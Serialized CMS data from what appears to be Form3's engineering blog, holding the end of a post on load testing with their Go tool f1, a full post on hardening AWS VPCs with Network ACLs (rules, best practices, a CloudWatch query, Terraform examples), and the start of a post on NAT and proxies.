cycles.",[],"rich_text$d69ee9d8-f88e-4410-ba31-6b8c4763cbc3",{"variation":437,"version":438,"items":28326,"primary":28327,"id":28335,"slice_type":468,"slice_label":5},[],{"body":28328},[28329,28332],{"type":988,"text":28330,"spans":28331,"direction":445},"Spike tests",[],{"type":25,"text":28333,"spans":28334,"direction":445},"A spike test checks the upper limits of your system by testing it under extreme loads. It includes a sudden, high ramp-up in users and laod.",[],"rich_text$5482ab6a-7f00-433e-861c-97268deada49",{"variation":437,"version":438,"items":28337,"primary":28338,"id":28346,"slice_type":468,"slice_label":5},[],{"body":28339},[28340,28343],{"type":988,"text":28341,"spans":28342,"direction":445},"Soak tests",[],{"type":25,"text":28344,"spans":28345,"direction":445},"A soak test checks the sustainability of your system by testing it over a long period of time. It incluse a slow, gradual ramp-up over time.",[],"rich_text$7f422c96-f571-40f2-94b1-b81725f3da6e",{"variation":437,"version":438,"items":28348,"primary":28349,"id":28404,"slice_type":468,"slice_label":5},[],{"body":28350},[28351,28354,28363,28367,28373,28379,28383,28389,28398],{"type":988,"text":28352,"spans":28353,"direction":445},"Common tools",[],{"type":25,"text":28355,"spans":28356,"direction":445},"Two of the most common popular tools that are used for test configuration and running areApache JMeter and Grafana K6. Let's have a look at each of them.",[28357,28360],{"start":9315,"end":4073,"type":489,"data":28358},{"link_type":491,"url":28359,"target":493},"https:\u002F\u002Fjmeter.apache.org\u002Findex.html",{"start":782,"end":8997,"type":489,"data":28361},{"link_type":491,"url":28362,"target":493},"https:\u002F\u002Fk6.io\u002F",{"type":25,"text":28364,"spans":28365,"direction":445},"Apache JMeter",[28366],{"start":398,"end":1951,"type":593},{"type":25,"text":28368,"spans":28369,"direction":445},"JMeter is a popular, open source Java testing tool. It allows us to configure tests using a recording GUI and predefined templates. We can use long polling or another request to check whether an asynchronous operation is completed.",[28370],{"start":12970,"end":10956,"type":489,"data":28371},{"link_type":491,"url":28372,"target":493},"https:\u002F\u002Fjmeter.apache.org\u002Fusermanual\u002Fjmeter_proxy_step_by_step.html",{"type":25,"text":28374,"spans":28375,"direction":445},"JMeter provides thread groups and a ramp up period in seconds load testing distributed systems.",[28376],{"start":1029,"end":6779,"type":489,"data":28377},{"link_type":491,"url":28378,"target":493},"https:\u002F\u002Fjmeter.apache.org\u002Fusermanual\u002Fjmeter_distributed_testing_step_by_step.html",{"type":25,"text":28380,"spans":28381,"direction":445},"Grafana K6",[28382],{"start":398,"end":905,"type":593},{"type":25,"text":28384,"spans":28385,"direction":445},"K6 is another popular load testing tool. It is an open source Go project. Tests are configured using a scripting language similar to JavaScript.",[28386],{"start":3886,"end":19436,"type":489,"data":28387},{"link_type":491,"url":28388,"target":493},"https:\u002F\u002Fk6.io\u002Fdocs\u002Fgetting-started\u002Frunning-k6\u002F",{"type":25,"text":28390,"spans":28391,"direction":445},"K6 does not provide support for promises or async execution, but we can achieve async testing support using virtual users.",[28392,28395],{"start":5489,"end":592,"type":489,"data":28393},{"link_type":491,"url":28394,"target":493},"https:\u002F\u002Fgithub.com\u002Fgrafana\u002Fk6#script-execution",{"start":19534,"end":19436,"type":489,"data":28396},{"link_type":491,"url":28397,"target":493},"https:\u002F\u002Fk6.io\u002Fdocs\u002Fgetting-started\u002Frunning-k6\u002F#adding-more-vus",{"type":25,"text":28399,"spans":28400,"direction":445},"Load for the test is configured using scenarios in an options object, which states how many requests to run for each stage of the test. This allows us to configure linear and step ramp up.",[28401],{"start":11705,"end":9232,"type":489,"data":28402},{"link_type":491,"url":28403,"target":493},"https:\u002F\u002Fk6.io\u002Fdocs\u002Fusing-k6\u002Foptions\u002F#scenarios","rich_text$21347ff9-a088-4989-b55a-c7a2d1df8cdd",{"variation":437,"version":438,"items":28406,"primary":28407,"id":28427,"slice_type":468,"slice_label":5},[],{"body":28408},[28409,28412,28415,28418,28421,28424],{"type":988,"text":28410,"spans":28411,"direction":445},"Our ideal load testing tool",[],{"type":25,"text":28413,"spans":28414,"direction":445},"At Form3, we invest a lot of engineering time into performance testing our platform. We initially used k6 to develop and run these tests, but it did not fully fit our ideal load testing tool.",[],{"type":25,"text":28416,"spans":28417,"direction":445},"Our ideal tool should allow us to:",[],{"type":3373,"text":28419,"spans":28420,"direction":445},"Easily write asynchronous tests, which integrate with our queues and services. This was not always easy to do in Javascript.",[],{"type":3373,"text":28422,"spans":28423,"direction":445},"A allow our engineers to write tests in Go, which is what they’re most comfortable in.",[],{"type":3373,"text":28425,"spans":28426,"direction":445},"Run different modes of load. As our platform operates under huge amounts of load, we want to be able to configure different kinds of load.",[],"rich_text$e989b475-a645-499f-9599-5adbe6e3f69d",{"variation":437,"version":438,"items":28429,"primary":28430,"id":28441,"slice_type":468,"slice_label":5},[],{"body":28431},[28432,28435],{"type":988,"text":28433,"spans":28434,"direction":445},"F1 example",[],{"type":25,"text":28436,"spans":28437,"direction":445},"The existing solutions did not provide us any of our ideal load testing tool features, so this is why we decided to write our own solution and then open source it for the community to use. You can find it under form3tech-oss\u002Ff1.",[28438],{"start":3309,"end":2833,"type":489,"data":28439},{"link_type":491,"url":28440,"target":493},"https:\u002F\u002Fgithub.com\u002Fform3tech-oss\u002Ff1","rich_text$46d99ee3-aca0-4574-8f4b-b09a40d7a87a",{"variation":437,"version":527,"items":28443,"primary":28444,"id":28475,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":28445,"body":28446,"cta_label":5,"cta_link":28462,"aside_type":533,"aside_image":28463,"aside_video":28470,"aside_video_poster":28471,"aside_video_reduced_motion":28472,"aside_video_url":5,"aside_embed":28473,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":28474,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[28447,28453],{"type":25,"text":28448,"spans":28449,"direction":445},"We have also created a demonstration\u002Ftutorial repository under form3tech-oss\u002Ff1-example. We will briefly discuss this example in this blogpost.",[28450],{"start":629,"end":2224,"type":489,"data":28451},{"link_type":491,"url":28452,"target":493},"https:\u002F\u002Fgithub.com\u002Fform3tech-oss\u002Ff1-example",{"type":25,"text":28454,"spans":28455,"direction":445},"The example docker-compose.yml sets up a simple service which uses goaws local SQS mock. This is the environment we will be running tests on.",[28456,28459],{"start":2707,"end":3041,"type":489,"data":28457},{"link_type":491,"url":28458,"target":493},"https:\u002F\u002Fgithub.com\u002Fform3tech-oss\u002Ff1-example\u002Fblob\u002Fmaster\u002Fdocker-compose.yml",{"start":2397,"end":2224,"type":489,"data":28460},{"link_type":491,"url":28461,"target":493},"https:\u002F\u002Fgithub.com\u002Fp4tin\u002Fgoaws",{"link_type":434},{"dimensions":28464,"alt":5,"copyright":5,"url":28467,"id":28468,"edit":28469},{"width":28465,"height":28466},980,780,"\u002F_prismic-media\u002F8820eb49bea28d83--Ydeo3sC9rPI4HhS_a0ca2537-3e36-4595-9c65-32d2a16.png","-Ydeo3sC9rPI4HhS",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$7216a00c-3590-4651-aa02-90b9e7877e7f",{"variation":437,"version":438,"items":28477,"primary":28478,"id":28486,"slice_type":468,"slice_label":5},[],{"body":28479},[28480,28483],{"type":988,"text":28481,"spans":28482,"direction":445},"Writing tests",[],{"type":25,"text":28484,"spans":28485,"direction":445},"Writing tests using f1 is easy - you need to import the library and declare it in the main() function of a new command. The f .Add method registers a new scenario to be run with f1.",[],"rich_text$ddf7af68-830c-4090-b4aa-150320c90bb1",{"variation":437,"version":438,"items":28488,"primary":28489,"id":28494,"slice_type":27926,"slice_label":5},[],{"language_label":27919,"code":28490},[28491],{"type":27922,"text":28492,"spans":28493},"import (\n\t\"net\u002Fhttp\"\n\t\"time\"\n\n\t\"github.com\u002Fform3tech-oss\u002Ff1\u002Fv2\u002Fpkg\u002Ff1\"\n\t\"github.com\u002Fform3tech-oss\u002Ff1\u002Fv2\u002Fpkg\u002Ff1\u002Ftesting\"\n)\n\nfunc main() {\n\tf := f1.New()\n\tf.Add(\"testScenario\", testScenario)\n\tf.Execute()\n}",[],"code_block$802e1e35-97b2-4671-ac39-b6c843b7569f",{"variation":437,"version":438,"items":28496,"primary":28497,"id":28505,"slice_type":468,"slice_label":5},[],{"body":28498},[28499],{"type":25,"text":28500,"spans":28501},"After setting up the SQS client and consuming messages from it, we can configure our run function which will be called by thef1test assertions.",[28502],{"start":6911,"end":1029,"type":489,"data":28503},{"link_type":491,"url":28504,"target":493},"https:\u002F\u002Fgithub.com\u002Fform3tech-oss\u002Ff1-example\u002Fblob\u002Fmaster\u002Fcmd\u002Ff1\u002Fmain.go#L22-L63","rich_text$914d7df4-b2d8-449c-b1b7-44f73c79b0eb",{"variation":437,"version":438,"items":28507,"primary":28508,"id":28513,"slice_type":27926,"slice_label":5},[],{"language_label":27919,"code":28509},[28510],{"type":27922,"text":28511,"spans":28512},"runFn := func(t *testing.T) {\n        \u002F\u002F Our test iteration code goes here.\n        res, err := http.Post(\"http:\u002F\u002Flocalhost:8080\u002Fpayments\", \"application\u002Fjson\", nil)\n        t.Require().NoError(err)\n        t.Require().Equal(http.StatusAccepted, res.StatusCode)\n        timer := time.NewTimer(10 * time.Second)\n        for {\n            select {\n            case \u003C-timer.C:\n                t.Require().Fail(\"no message received after timeout\")\n                return\n            case \u003C-messagesChan:\n                t.Logger().Info(\"message received, iteration success\")\n                return\n            }\n        }\n    }",[],"code_block$040f935c-4ed1-498b-8dc4-6f61b3a8a2c9",{"variation":437,"version":438,"items":28515,"primary":28516,"id":28524,"slice_type":468,"slice_label":5},[],{"body":28517},[28518],{"type":25,"text":28519,"spans":28520},"You can see the entire test scenario configuration on GitHub",[28521],{"start":1250,"end":685,"type":489,"data":28522},{"link_type":491,"url":28523},"https:\u002F\u002Fgithub.com\u002Fform3tech-oss\u002Ff1-example\u002Fblob\u002Fmaster\u002Fcmd\u002Ff1\u002Fmain.go","rich_text$7b6a8821-f5a4-4a4f-8c48-498bb93f99ae",{"variation":437,"version":438,"items":28526,"primary":28527,"id":28535,"slice_type":468,"slice_label":5},[],{"body":28528},[28529,28532],{"type":988,"text":28530,"spans":28531,"direction":445},"Running tests",[],{"type":25,"text":28533,"spans":28534,"direction":445},"Once our test is written we can compile the f1 binary to make it easier to run.",[],"rich_text$afe2018d-e654-4815-a821-a4e9a10cad10",{"variation":437,"version":438,"items":28537,"primary":28538,"id":28543,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":28539},[28540],{"type":27922,"text":28541,"spans":28542},"go build -o f1 .\u002Fcmd\u002Ff1\u002Fmain.go",[],"code_block$074097f5-0983-44a5-8e7a-0871e90e1189",{"variation":437,"version":438,"items":28545,"primary":28546,"id":28551,"slice_type":468,"slice_label":5},[],{"body":28547},[28548],{"type":25,"text":28549,"spans":28550},"Then, it's time to start up the example test environment consisting of our payments service and the mock SQS queue.",[],"rich_text$f75c67a7-cca0-4fad-845b-663aa9e9e394",{"variation":437,"version":438,"items":28553,"primary":28554,"id":28559,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":28555},[28556],{"type":27922,"text":28557,"spans":28558},"docker-compose up -d",[],"code_block$327b400b-9fab-4820-93d1-f4d222aea069",{"variation":437,"version":438,"items":28561,"primary":28562,"id":28567,"slice_type":468,"slice_label":5},[],{"body":28563},[28564],{"type":25,"text":28565,"spans":28566},"Finally, the configured scenario is easily run using the f1 CLI. This command will run the test at a constant rate for 10 seconds.",[],"rich_text$803fd30d-cdb9-42ef-b312-ed56e02f6ac4",{"variation":437,"version":438,"items":28569,"primary":28570,"id":28575,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":28571},[28572],{"type":27922,"text":28573,"spans":28574},".\u002Ff1 run constant testScenario -r 1\u002Fs -d 10s",[],"code_block$3282190b-db5d-4961-9d58-d4f84085033a",{"variation":437,"version":527,"items":28577,"primary":28578,"id":28596,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":28579,"body":28580,"cta_label":5,"cta_link":28584,"aside_type":533,"aside_image":28585,"aside_video":28591,"aside_video_poster":28592,"aside_video_reduced_motion":28593,"aside_video_url":5,"aside_embed":28594,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":28595,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[28581],{"type":25,"text":28582,"spans":28583,"direction":445},"The command outputs some basic metrics for the test service.",[],{"link_type":434},{"dimensions":28586,"alt":5,"copyright":5,"url":28588,"id":28589,"edit":28590},{"width":8570,"height":28587},1266,"\u002F_prismic-media\u002Fc8d8beb0d6551d29-wL1jf7sROsw_AAEu_a6603b5b-0e8e-4727-9a4b-7c681ae.png","wL1jf7sROsw_AAEu",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$51f24cf8-64b9-4148-8fa3-8fd52ad65263",{"variation":437,"version":438,"items":28598,"primary":28599,"id":28617,"slice_type":468,"slice_label":5},[],{"body":28600},[28601,28604,28607,28613],{"type":988,"text":28602,"spans":28603,"direction":445},"Conclusions",[],{"type":25,"text":28605,"spans":28606,"direction":445},"Writing our tests in Go has been a huge game changer for our engineers, as it allows us to make use of goroutines and channels for test configuration.",[],{"type":25,"text":28608,"spans":28609,"direction":445},"f1 is feature complete, we use it every day and you can too. It's freely available on GitHub.",[28610],{"start":28611,"end":12970,"type":489,"data":28612},83,{"link_type":491,"url":28440,"target":493},{"type":25,"text":28614,"spans":28615,"direction":445},"Happy load testing!",[28616],{"start":398,"end":6262,"type":593},"rich_text$356d00bd-72c8-4681-bfc0-de29c58fbeec","Due to a lack of functionality in existing solutions, we wrote our own open source load testing tool, F1, at Form3 to test our asynchronous system. This blogpost gives you an introduction to performance testing, a comparison of common testing tools and a short introduction of how to usef1to write your own testing scenarions in Go.",{"id":28620,"uid":28621,"type":25949,"data":28622},"alz09BEAAC0AUWcc","nacls-blogpost",{"title":28623,"excerpt":28624,"card_image":28625,"published_date":28630,"reading_time":2375,"tag":25960,"dek":28624,"featured_image":28631,"about_form3":28632,"client_about_heading":5,"client_about_body":28633,"author_name":5,"author_title":5,"author_photo":28634,"author_bio":28635,"author_linkedin":28636,"slices":28637,"meta_title":28623,"meta_description":28624},"NACLS? Ain't nobody got time for that!","In this blogpost, Adam will try to convince you to implement AWS NACL as additional layer of network protection. He will go through some basics, present some best practices that you could leverage and in the end show how easy it is to implement NACLs in Terraform.",{"dimensions":28626,"alt":28623,"copyright":5,"url":28627,"id":28628,"edit":28629},{"width":412,"height":412},"\u002F_prismic-media\u002Fe69afffe11590ca5-cckfFJmk4egWIJHY_nacls-blogpost.png","cckfFJmk4egWIJHY",{"x":398,"y":398,"zoom":399,"background":400},"2022-11-10",{},[],[],{},[],{"link_type":434},[28638,28648,28674,28697,28758,28800,28816,28824,28834,28845,28853,28863],{"variation":437,"version":438,"items":28639,"primary":28640,"id":28647,"slice_type":468,"slice_label":5},[],{"body":28641},[28642,28644],{"type":988,"text":12441,"spans":28643,"direction":445},[],{"type":25,"text":28645,"spans":28646,"direction":445},"Every engineer that once created EC2 must have stumbled across Security Groups. They're used asstatefulhost firewalls to limit access to EC2 instance, Load balancers and other AWS Compute components. If you ever created EC2 you must have modified at least one Security Group rule. However what about AWS Network Access Control Lists (NACLs)? They're a little bit hidden in the background, forgotten, often omitted on purpose, waiting for you to be used as part of your Network Defense in Depth strategy. Let me walk you through and show how they can be used together with Security Groups to increase the security posture of your VPC and AWS environment.",[],"rich_text$5ce00efc-993b-4506-ab8d-752472921106",{"variation":437,"version":438,"items":28649,"primary":28650,"id":28673,"slice_type":468,"slice_label":5},[],{"body":28651},[28652,28655,28659,28663,28666],{"type":988,"text":28653,"spans":28654,"direction":445},"NACLs - the basics",[],{"type":25,"text":28656,"spans":28657,"direction":445},"Let's start with the basics first. AWS NACLs are VPC's security control that act as stateless firewalls that are associated with subnets and control inbound and outbound traffic. They're supposed to supplement Security Groups and should be treated as an additional layer of security, not the only one. As opposed to Security Groups that are stateful, NACLS are stateless, which means you have to do define both incoming and outgoing rules to allow traffic to go through.",[28658],{"start":15360,"end":3295,"type":593},{"type":25,"text":28660,"spans":28661,"direction":445},"Because they are assigned to a subnet they control traffic for all resources associated with that subnet. By default VPCc come with Default NACLs that allow ALL incoming and outgoing traffic. This NACL can be modified and additional rules can be added. Contrary to default NACLs when you create a custom one it will deny both incoming and outgoing traffic until you add proper rules.",[28662],{"start":10310,"end":764,"type":593},{"type":25,"text":28664,"spans":28665,"direction":445},"Every subnet must have a NACL associated. If you don't associate one the default one will be associated automatically for you. Each subnet can have only one NACL, however every NACL can be associated with many subnets.",[],{"type":25,"text":28667,"spans":28668,"direction":445},"Everything (almost?) in AWS comes with a limit, so do the NACLs. The default maximum number of NACLs per VPC is 200 and 20 inbound and 20 outbound rules per NACL (note: ipv4 and ipv6 rules are counted separately). Those are soft limits and can be increased by contacting with AWS Support",[28669],{"start":1802,"end":28670,"type":489,"data":28671},287,{"link_type":491,"url":28672,"target":493},"https:\u002F\u002Fdocs.aws.amazon.com\u002Fvpc\u002Flatest\u002Fuserguide\u002Famazon-vpc-limits.html#vpc-limits-nacls","rich_text$41aebdc9-51b4-4d5d-b447-c2c988473d70",{"variation":437,"version":527,"items":28675,"primary":28676,"id":28696,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":28677,"body":28678,"cta_label":5,"cta_link":28682,"aside_type":533,"aside_image":28683,"aside_video":28691,"aside_video_poster":28692,"aside_video_reduced_motion":28693,"aside_video_url":5,"aside_embed":28694,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":28695,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[28679],{"type":25,"text":28680,"spans":28681},"Overview of AWS NACL",[],{"link_type":434},{"dimensions":28684,"alt":28687,"copyright":5,"url":28688,"id":28689,"edit":28690},{"width":28685,"height":28686},991,1069,"Diagram of AWS VPCs, subnets and NACLs","\u002F_prismic-media\u002F19d56f1be94f70e3-rlF-Z65L5trMToYT_d9a492d3-cab5-422c-8293-152843e.png","rlF-Z65L5trMToYT",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$1d61f0da-ad2d-4d3a-8976-530d3c5d5ed9",{"variation":437,"version":438,"items":28698,"primary":28699,"id":28757,"slice_type":468,"slice_label":5},[],{"body":28700},[28701,28704,28707,28710,28713,28716,28719,28722,28725,28728,28731,28734,28737,28740,28746,28749,28752],{"type":988,"text":28702,"spans":28703,"direction":445},"Rules",[],{"type":25,"text":28705,"spans":28706,"direction":445},"Each NACL consists of an ordered list of rules. Rules are evaluated in descending order. When traffic is matched the evaluation stops, regardless of the action taken.",[],{"type":25,"text":28708,"spans":28709,"direction":445},"Each ruleset can have the following:",[],{"type":1151,"text":28711,"spans":28712,"direction":445},"Rule Number",[],{"type":1151,"text":28714,"spans":28715,"direction":445},"Type",[],{"type":1151,"text":28717,"spans":28718,"direction":445},"Protocol",[],{"type":1151,"text":28720,"spans":28721,"direction":445},"Port Range",[],{"type":1151,"text":28723,"spans":28724,"direction":445},"Source (inbound) \u002F Destination (outbound)",[],{"type":1151,"text":28726,"spans":28727,"direction":445},"Action",[],{"type":1151,"text":28729,"spans":28730,"direction":445},"Comment",[],{"type":25,"text":28732,"spans":28733,"direction":445},"Comment is optional, others are mandatory.",[],{"type":25,"text":28735,"spans":28736,"direction":445},"The Rule number must be between 1 and 32766.",[],{"type":25,"text":28738,"spans":28739,"direction":445},"Type is the type of the traffic, for example it can be SSH, HTTP, or All IPV4 Traffic.",[],{"type":25,"text":28741,"spans":28742,"direction":445},"Protocol is defined as in IANN standard",[28743],{"start":5574,"end":4219,"type":489,"data":28744},{"link_type":491,"url":28745,"target":493},"http:\u002F\u002Fwww.iana.org\u002Fassignments\u002Fprotocol-numbers\u002Fprotocol-numbers.xhtml",{"type":25,"text":28747,"spans":28748,"direction":445},"Port range is the usual TCP\u002FUDP port or port range.",[],{"type":25,"text":28750,"spans":28751,"direction":445},"As Source\u002FDestination you can specify CIDR.",[],{"type":25,"text":28753,"spans":28754,"direction":445},"Action can be either Allow or Deny.",[28755,28756],{"start":703,"end":5574,"type":593},{"start":3041,"end":1131,"type":593},"rich_text$556f328f-c4d4-4d50-964b-8d929a7fd26e",{"variation":437,"version":438,"items":28759,"primary":28760,"id":28799,"slice_type":468,"slice_label":5},[],{"body":28761},[28762,28765,28770,28773,28776,28779,28782,28785,28788,28791,28794],{"type":988,"text":28763,"spans":28764,"direction":445},"Best Practices",[],{"type":25,"text":28766,"spans":28767,"direction":445},"The one of the biggest advantages of NACL rules is that they can be used to block incoming and outgoing traffic for specific IP address in response to attack or other corporate or regulatory requirements. This cannot be achieved using Security Groups, as you can only allow traffic and not block.",[28768],{"start":28769,"end":9294,"type":593},210,{"type":25,"text":28771,"spans":28772,"direction":445},"Below you can find an open list of best practices that you can follow to implement NACLs in your environment:",[],{"type":3373,"text":28774,"spans":28775,"direction":445},"Rules have to be ordered from 1 to 32766. Instead of using sequential numbering you can leave a gap of at least 50 between each rule. This way it will be easier to add more rules later between already existing rules. Remember rules are evaluated in order!",[],{"type":3373,"text":28777,"spans":28778,"direction":445},"Using Default NACLs should be avoided.",[],{"type":3373,"text":28780,"spans":28781,"direction":445},"You should be as specific as possible in defining your rules, eg. avoid 0.0.0.0\u002F0 rules or other broad CIDR ranges.",[],{"type":3373,"text":28783,"spans":28784,"direction":445},"Avoid rules with All ports for incoming rules.",[],{"type":3373,"text":28786,"spans":28787,"direction":445},"Remember that NACLs are stateless so define outgoing rules. For that you could use ephemeral port ranges: 5.1. For AWS ELBs 1024-65535 5.2. For Linux servers 32768-61000 5.3. For Windows 49152-65535 5.4. For NAT Gateway and Lambda 1024-65535",[],{"type":3373,"text":28789,"spans":28790,"direction":445},"Allow SSH (TCP 22) and RDP (TCP\u002FUDP 3389) traffic only from your corporate network",[],{"type":3373,"text":28792,"spans":28793,"direction":445},"It's good to keep your rules documented for audit purpose and other engineers. Keep the comment brief but explain the reason for each rule",[],{"type":3373,"text":28795,"spans":28796,"direction":445},"Remember about limits!",[28797],{"start":8472,"end":703,"type":489,"data":28798},{"link_type":491,"url":28672,"target":493},"rich_text$cd87dac8-451f-4f12-9fa2-d24685723405",{"variation":437,"version":438,"items":28801,"primary":28802,"id":28815,"slice_type":468,"slice_label":5},[],{"body":28803},[28804,28807],{"type":988,"text":28805,"spans":28806,"direction":445},"NACL and NAT Gateway",[],{"type":25,"text":28808,"spans":28809,"direction":445},"If you use NAT Gateways to NAT the traffic from your private networks you might see some strange logs in VPC flow logs. At first glance it might looks like the NAT gateway is accepting traffic from public internet. This could lead to potentially a lot of false positive alerts triggered in your SOC. NAT Gateway will never accept traffic from public internet, however there is one reason that it might look like it does. If you use default NACL or permit all inbound traffic in NACL that is associated with the same subnet as your NAT Gateway the packets will be accepted by NACL, recorded by VPC flow logs but dropped by NAT Gateway. As you cannot associate Security Group with NAT Gateway in order to block such traffic (for example from bots scanning the whole internet all the time) the only way would be to not allow any unnecessary traffic in NACL. If you want to check that in fact this is the case, you can use below query for Cloudwatch Insights:",[28810,28811,28813],{"start":5080,"end":6416,"type":593},{"start":2121,"end":28812,"type":593},648,{"start":28814,"end":8179,"type":593},812,"rich_text$a7db11cc-485c-49f7-9566-5d5a5a3b01fa",{"variation":437,"version":438,"items":28817,"primary":28818,"id":28823,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":28819},[28820],{"type":27922,"text":28821,"spans":28822},"filter (dstAddr like 'IP_OF_NAT_GW' and srcAddr like 'PUBLIC_IP')\n| stats sum(bytes) as bytesTransferred by srcAddr, dstAddr\n| limit 10",[],"code_block$21b8697b-5dcd-4999-855f-0f6cf02344ab",{"variation":437,"version":438,"items":28825,"primary":28826,"id":28833,"slice_type":468,"slice_label":5},[],{"body":28827},[28828],{"type":25,"text":28829,"spans":28830},"if the query returns only traffic from PUBLIC_IP to IP_OF_NAT_GW and not from other way around it means that packets were dropped by NAT gateway.",[28831,28832],{"start":4219,"end":5490,"type":765},{"start":1251,"end":4083,"type":765},"rich_text$0833a29f-5f28-443b-844c-5e06b9d7c775",{"variation":437,"version":438,"items":28835,"primary":28836,"id":28844,"slice_type":468,"slice_label":5},[],{"body":28837},[28838,28841],{"type":988,"text":28839,"spans":28840,"direction":445},"IaC",[],{"type":25,"text":28842,"spans":28843,"direction":445},"If you love IaC as we do at FORM3, here is how you can implement NACLs in Terraform:",[],"rich_text$7917cc32-c751-487b-93bf-7efbaab852d9",{"variation":437,"version":438,"items":28846,"primary":28847,"id":28852,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":28848},[28849],{"type":27922,"text":28850,"spans":28851},"# Network ACL definition\nresource \"aws_network_acl\" \"bar\" {\n  vpc_id = aws_vpc.foo.id\n  \n  tags = {\n    \"Name\"        = \"bar\"     \n    \"Description\" = \"NACL for public subnets requiring SSH access and outgoing HTTPS traffic\"\n  }\n}\n\n#NACL subnet association\nresource \"aws_network_acl_association\" \"main\" {\n  network_acl_id = aws_network_acl.bar.id\n  subnet_id      = aws_subnet.main.id\n}\n\n# This rule allows inbound SSH access from corporate CIDR\nresource \"aws_network_acl_rule\" \"bar1\" {\n  network_acl_id = aws_network_acl.bar.id\n  rule_number    = 50\n  egress         = false\n  protocol       = \"tcp\"\n  rule_action    = \"allow\"\n  cidr_block     = \"192.168.1.0\u002F24\"\n  from_port      = 22\n  to_port        = 22\n}\n\n# This rule allows return traffic on the ephemeral port range to corporate CIDR\nresource \"aws_network_acl_rule\" \"bar3\" {\n  network_acl_id = aws_network_acl.bar.id\n  rule_number    = 50\n  egress         = true\n  protocol       = \"tcp\"\n  rule_action    = \"allow\"\n  cidr_block     = \"192.168.1.0\u002F24\"\n  from_port      = 32768\n  to_port        = 61000\n}\n\n# This rule allows outgoing traffic on https port to the different subnet\nresource \"aws_network_acl_rule\" \"bar4\" {\n  network_acl_id = aws_network_acl.bar.id\n  rule_number    = 100\n  egress         = true\n  protocol       = \"tcp\"\n  rule_action    = \"allow\"\n  cidr_block     = \"192.168.2.0\u002F24\" #Subnet CIDR\n  from_port      = 443\n  to_port        = 443\n}",[],"code_block$2f21010a-be8e-4508-9be5-6a2fbdc001b1",{"variation":437,"version":438,"items":28854,"primary":28855,"id":28862,"slice_type":468,"slice_label":5},[],{"body":28856},[28857,28859],{"type":988,"text":28602,"spans":28858,"direction":445},[],{"type":25,"text":28860,"spans":28861,"direction":445},"Using AWS NACLs can increase the general security posture of AWS VPC and the whole environment. It should be treated as an additional security control implemented alongside Security Groups. It's not that hard and can also greatly reduce the amount of false positive alerts and reduce unnecessary traffic.",[],"rich_text$355d8220-1196-440e-bef2-6e0bc7072361",{"variation":437,"version":438,"items":28864,"primary":28865,"id":28880,"slice_type":468,"slice_label":5},[],{"body":28866},[28867,28869,28874],{"type":988,"text":52,"spans":28868,"direction":445},[],{"type":1151,"text":28870,"spans":28871,"direction":445},"Quotas",[28872],{"start":398,"end":2375,"type":489,"data":28873},{"link_type":491,"url":28672,"target":493},{"type":1151,"text":28875,"spans":28876,"direction":445},"Control traffic to subnets using Network ACLs",[28877],{"start":398,"end":9211,"type":489,"data":28878},{"link_type":491,"url":28879,"target":493},"https:\u002F\u002Fdocs.aws.amazon.com\u002Fvpc\u002Flatest\u002Fuserguide\u002Fvpc-network-acls.html","rich_text$4302df4a-3a06-4ff6-bdf2-3ad60e53f35a",{"id":28882,"uid":28883,"type":25949,"data":28884},"alz1HhEAACgAUWf0","nat-and-proxies-part2",{"title":28885,"excerpt":28886,"card_image":28887,"published_date":11876,"reading_time":1130,"tag":25960,"dek":28892,"featured_image":28893,"about_form3":28894,"client_about_heading":5,"client_about_body":28895,"author_name":5,"author_title":5,"author_photo":28896,"author_bio":28897,"author_linkedin":28898,"slices":28899,"meta_title":28885,"meta_description":28886},"Network Address Translation (NAT) and Proxies (part 2)","Network Address Translation, forward proxies, and reverse proxies, are three common techniques for managing network traffic at scale. This blog will attempt to distil each idea into its simplest form, and write a code example where possible",{"dimensions":28888,"alt":28885,"copyright":5,"url":28889,"id":28890,"edit":28891},{"width":412,"height":412},"\u002F_prismic-media\u002F6b23f7b7f0b874f6-5qNNexOYCLmGAlWV_nat-and-proxies-part2.png","5qNNexOYCLmGAlWV",{"x":398,"y":398,"zoom":399,"background":400},"Exposing pools of machines to clients, or routing network traffic via an intermediary, are common techniques in distributed computing, and large networks. Network Address Translation, forward proxies, and reverse proxies, are three common techniques for managing network traffic at scale. However, I've always found each of these topics to be somewhat mystical, and I've never understood the fundamentals of how each technique works.",{},[],[],{},[],{"link_type":434},[28900,28936,28956,28964,29002,29018,29038,29046,29056,29071,29096],{"variation":437,"version":438,"items":28901,"primary":28902,"id":28935,"slice_type":468,"slice_label":5},[],{"body":28903},[28904,28907,28914,28917,28920,28923,28926,28929,28932],{"type":25,"text":28905,"spans":28906},"In this blog post, I will attempt to distil each idea into its simplest form, and write a code example where possible.",[],{"type":25,"text":28908,"spans":28909},"The first blog post on this topic covered:",[28910],{"start":4603,"end":6262,"type":489,"data":28911},{"id":28912,"type":15847,"tags":28913,"lang":5,"slug":15849,"first_publication_date":5,"last_publication_date":5,"link_type":542,"isBroken":15850},"Yme0VBIAAC8AtIKZ",[],{"type":1151,"text":28915,"spans":28916},"Introduce TCP\u002FIP at a high level, and demonstrate TCP communication in Go.",[],{"type":1151,"text":28918,"spans":28919},"Take a deeper look at IP communication, and the Linux networking stack.",[],{"type":1151,"text":28921,"spans":28922},"Introduce Network Address Translation, and illustrate how it works.",[],{"type":25,"text":28924,"spans":28925},"This second part will:",[],{"type":1151,"text":28927,"spans":28928},"Examine forward 